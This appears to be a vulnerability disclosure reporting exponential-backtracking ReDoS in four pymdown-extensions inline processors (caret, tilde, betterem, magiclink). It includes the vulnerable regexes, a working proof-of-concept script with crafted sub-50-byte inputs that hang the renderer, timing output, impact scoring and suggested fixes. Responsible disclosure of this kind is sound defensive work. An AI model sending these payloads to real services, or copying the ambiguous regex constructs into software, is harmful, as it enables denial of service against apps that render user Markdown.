pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors

SUP2 = r'(?<!\^)(\^)(?![\^\s])((?:[^\^\s]|\^{2,})+?)(?<![\^\s])(\^)(?!\^)'

The content group (?:[^\^\s]|\^{2,})+? matches a run of carets only via the \^{2,} branch. A run of k carets can be split into ≥2-length pieces in exponentially many combinations; when no caret can serve as a valid closing delimiter (the trailing (?<![\^\s])(\^) cannot be satisfied), the engine explores every partition before failing. SUB2 (tilde) and SMART_UNDER_EM2 (betterem) are the same construct for ~ and _. In betterem the default smart_enable='underscore' routes underscores to SmartUnderscoreProcessor → SMART_UNDER_EM2 (betterem.py:93), which is the default-reachable, API-exploitable pattern; the non-smart UNDER_EM2 (:69, used only when smart_enable is asterisk/disable) shares the shape but did not reproduce through the public markdown.markdown() pipeline on the tested payload, so a fix and regression test should target SMART_UNDER_EM2.

pymdownx/magiclink.py:59 has the analogous ambiguity in the host portion, where overlapping character classes let a run of dots be grouped exponentially:

(?:ht|f)tps?://[^_\W][-\w]*(?:\.[-\w.]+)*    # host: '\.' and '[-\w.]' inside (?:...)* both match '.'

SUP2/SUB2/SMART_UNDER_EM2 are applied at each delimiter occurrence via the default PatternSequenceProcessor subclasses (pymdownx/util.py); RE_LINK is applied by MagiclinkPattern (registered unconditionally at priority 85). In all four cases, rendering markdown.markdown(src, extensions=[ext]) on untrusted src in default configuration is sufficient to reach the regex.

PoC

Single self-contained script; runs against the pinned release in an ephemeral env. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time (a per-render alarm caps each attempt so the script terminates).

import signal
import time
from importlib.metadata import version

import markdown

print(f"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}")

CAP = 5.0  # a single render exceeding this is treated as a hang


class Timeout(Exception):
    pass


def render(ext, text):
    signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout()))
    signal.setitimer(signal.ITIMER_REAL, CAP)
    t = time.perf_counter()
    try:
        markdown.markdown(text, extensions=[ext])
        return time.perf_counter() - t
    except Timeout:
        return None
    finally:
        signal.setitimer(signal.ITIMER_REAL, 0)


# ext -> (malicious builder, benign builder [valid & closed], ramp, hang count)
CASES = {
    "pymdownx.caret":     (lambda n: "^a" + "^" * n + "b",       lambda n: "^" + "a" * n + "^",           [24, 30, 36], 44),
    "pymdownx.tilde":     (lambda n: "~a" + "~" * n + "b",       lambda n: "~" + "a" * n + "~",           [24, 30, 36], 44),
    "pymdownx.betterem":  (lambda n: "_a" + "_" * n + "b",       lambda n: "_" + "a" * n + "_",           [24, 30, 36], 44),
    "pymdownx.magiclink": (lambda n: "http://a" + "." * n + " ", lambda n: "http://" + "a" * n + ".com ", [28, 32, 36], 40),
}

repro = []
for ext, (evil, benign, ramp, hang) in CASES.items():
    base_txt = benign(hang)  # valid, closed run: same regex machinery, but linear
    base = render(ext, base_txt)
    print(f"\n[{ext}]  benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms")
    prev = None
    for n in ramp:
        txt = evil(n)
        dt = render(ext, txt)
        ratio = f"  (x{dt / prev:.1f})" if (prev and dt) else ""
        shown = f"{dt:8.3f} s" if dt is not None else f"> {CAP:.0f} s (HANG)"
        print(f"          malicious len {len(txt):3d}: {shown}{ratio}")
        prev = dt
    txt = evil(hang)
    dt = render(ext, txt)
    hung = dt is None
    print(f"          malicious len {len(txt):3d}: "
          f"{'> %.0f s (HANG)' % CAP if hung else '%.3f s' % dt}")
    ok = base < 0.05 and (hung or dt > 1.0)
    repro.append(ok)
    print(f"          => {'REPRODUCED' if ok else 'not reproduced'}: a {len(txt)}-byte "
          f"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.")

assert all(repro), "not reproduced"
print("\nVERDICT: exponential ReDoS reproduced in all four extensions via the "
      "public markdown.markdown() API, default config (each < 50-byte input).")

Run:

uv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py

The bug is in pymdown-extensions' own regexes run by the stdlib re engine, so it is independent of the Markdown library version (markdown pinned only for byte-exact output). Observed output:

# pymdown-extensions 11.0 / markdown 3.10.2

[pymdownx.caret]  benign baseline (len 46, valid+closed): 11.768 ms
          malicious len  27:    0.003 s
          malicious len  33:    0.054 s  (x16.6)
          malicious len  39:    0.946 s  (x17.6)
          malicious len  47: > 5 s (HANG)
          => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.

[pymdownx.tilde]  benign baseline (len 46, valid+closed): 5.364 ms
          malicious len  27:    0.003 s
          malicious len  33:    0.053 s  (x17.1)
          malicious len  39:    0.962 s  (x18.2)
          malicious len  47: > 5 s (HANG)
          => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.

[pymdownx.betterem]  benign baseline (len 46, valid+closed): 3.167 ms
          malicious len  27:    0.003 s
          malicious len  33:    0.052 s  (x17.1)
          malicious len  39:    0.948 s  (x18.1)
          malicious len  47: > 5 s (HANG)
          => REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.

[pymdownx.magiclink]  benign baseline (len 52, valid+closed): 4.935 ms
          malicious len  37:    0.033 s
          malicious len  41:    0.210 s  (x6.4)
          malicious len  45:    1.405 s  (x6.7)
          malicious len  49: > 5 s (HANG)
          => REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.

VERDICT: exponential ReDoS reproduced in all four extensions via the public markdown.markdown() API, default config (each < 50-byte input).

The per-step ratio stays roughly constant as the run grows (a fixed multiplicative factor per fixed-size increment) — the signature of exponential, not polynomial, backtracking. A valid, closed delimiter run of the same length exercises the same regex yet renders in well under a millisecond, isolating the cost to the unclosed crafted run. Extending it a few more characters pushes the render time into minutes and beyond.

Impact

Denial of service: a sub-50-byte line pins the rendering thread at 100% CPU, with no memory pressure to trip an OOM killer. Most Material/MkDocs usage renders trusted author content at build time, but the untrusted-input exposure is concrete in two settings:

• General Python web apps that render user-supplied Markdown (comments, wikis, issue/ticket bodies, chat, live preview) — notably any app using pymdownx.extra, which bundles betterem with the vulnerable default smart_enable='underscore', or that reuses a Material-style extension block in a runtime renderer.

• Hosted docs/CI systems that build untrusted, user-contributed Markdown, where a single crafted line hangs the shared build worker.

• Attacker: unauthenticated, remote (anyone who can submit Markdown).

• Configuration: default for each extension.

• Proposed CWE-1333. Proposed CVSS 3.1 (as proposed — the maintainer makes the final call): AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5, High).

Suggestion

The vulnerable content groups need to be rewritten so a delimiter run has exactly one parse, removing the {2,} partition ambiguity that lets the engine re-segment a run on backtracking. For the emphasis patterns, restructuring the content so a delimiter run is consumed in a single, non-re-partitionable way (rather than by a {2,} branch inside a +? group) removes the blow-up; for RE_LINK, disambiguate the host so . is matched in exactly one place (a single labelled-host pattern such as (?:[-\w]+)(?:\.[-\w]+)*) rather than by overlapping classes. Possessive quantifiers / atomic groups are the most direct tool but require Python 3.11+; since the project supports Python 3.10, a structural rewrite is the portable option.

A regression fixture per extension (a short delimiter run with no valid closer, asserted to render under a small time budget) would guard against reintroduction.

References

• Affected source (pymdown-extensions 11.0): pymdownx/caret.py:56 (SUP2), pymdownx/tilde.py:55 (SUB2), pymdownx/betterem.py:93 (SMART_UNDER_EM2, default; :69 UNDER_EM2 shares the shape), pymdownx/magiclink.py:56 (RE_LINK, host subexpression at :59).
• Novelty: same class as CVE-2025-68142 (pymdownx.blocks.caption RE_FIG_NUM, fixed 10.16.1) but distinct extensions, regexes, and root cause. The caret/tilde/betterem content groups gained the vulnerable {2,} alternation in PR #2547 (v10.13); earlier releases used a linear (.+?) / ([^\s]+?) group. magiclink's host pattern is long-standing. None of the four has been touched by a prior security fix; all are present in the latest release (11.0).